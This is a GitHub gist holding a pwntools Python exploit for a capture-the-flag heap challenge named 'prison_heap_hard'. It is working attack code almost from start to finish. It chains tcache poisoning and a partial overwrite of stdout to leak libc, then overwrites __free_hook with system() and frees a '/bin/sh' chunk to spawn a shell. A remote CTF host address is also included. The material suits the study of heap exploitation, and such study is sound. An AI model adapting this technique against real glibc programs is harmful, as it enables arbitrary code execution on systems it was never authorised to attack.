Skip to content

Instantly share code, notes, and snippets.

@klecko
Last active June 29, 2021 03:56
Show Gist options
  • Save klecko/f974567facc5c160f3afa58c193acef5 to your computer and use it in GitHub Desktop.
Save klecko/f974567facc5c160f3afa58c193acef5 to your computer and use it in GitHub Desktop.
from pwn import *
PATH = "./prison_heap_hard"
ENV = {"LD_PRELOAD":"./libc-2.27.so"}
REMOTE = False
OFFSET_LEAK = 0x3ED8C0
OFFSET_SYSTEM = 0x000000000004f440
OFFSET_FREEHOOK = 0x00000000003ed8e8
def write(what, size=None):
if size is None:
size = len(what)
p.sendlineafter("3. Exit\n", "1")
p.sendlineafter("Choose the size of prison heap", str(size))
p.sendlineafter("to enter the prison", what)
def free(index):
p.sendlineafter("3. Exit\n", "2")
p.sendlineafter("for free", str(index))
context.binary = PATH
if REMOTE:
p = remote("134.122.72.224", 13337)
else:
p = process(PATH, env=ENV)
write("0", 0x20) #0, for fake linked list
write("1", 0x1000) #1, will be large chunk
write("2", 0x60) #2
# The chunk 2 will avoid consolidation when we free the large chunk,
# and will used later for writing system into free_hook.
# 1. Free large chunk (it is inserted in unsorted bin)
free(1)
# 2. Allocate smaller chunk and overwrite libc pointer
# so it points to stdout->_IO_write_ptr. 4 BITS BRUTEFORCE
write("\x88\x07", 0x20)
# this chunk is at 0x290
# unsortbin: 0x5555557602b0 (size : 0xfe0)
# 3. Tcache poisoning to add the pointer to the tcache linked list.
# We have the pointer to stdout. We'll add it to tcache linked
# so we can get it when we malloc later
free(0)
free(0)
# tcache_entry[1]: 0x5555557612a0 --> 0x5555557612a0 --> 0x5555557612a0 --> ...
write(b"\x90", 0x20)
# tcache_entry[1]: 0x5555557612a0 --> 0x555555761290 --> 0x7ffff7dd0788 (stdout->_IO_write_ptr)
# now stdout->_IO_write_ptr is in the tcache bin
# 4. Allocate a chunk in stdout->_IO_write_ptr and increment its value.
write("", 0x20)
write("", 0x20)
# tcache_entry[1](255): 0x7ffff7dd0788 (stdout->_IO_write_ptr)
write(b"\xff", 0x20) # overwriting stdout->_IO_write_ptr
# Next puts will print a leak.
leak = p.recvuntil("Prison heap created", drop=True)
leak = u64(leak[6:6+8])
LIBC = leak - OFFSET_LEAK
FREE_HOOK = LIBC + OFFSET_FREEHOOK
SYSTEM = LIBC + OFFSET_SYSTEM
log.info("LEAK: %s", hex(leak))
log.info("LIBC: %s", hex(LIBC))
write("/bin/sh\x00") # 8
# 5. Tcache poisoning to write system address into __free_hook
free(2)
free(2)
# tcache_entry[5](2): 0x5555557612a0 --> 0x5555557612a0
write(pack(FREE_HOOK), 0x60)
#tcache_entry[5](1): 0x5555557612a0 --> 0x7ffff7dd18e8 (FREE_HOOK)
write("", 0x60)
write(pack(SYSTEM), 0x60) # write system into free_hook
# 6. Call free("/bin/sh")
free(8)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment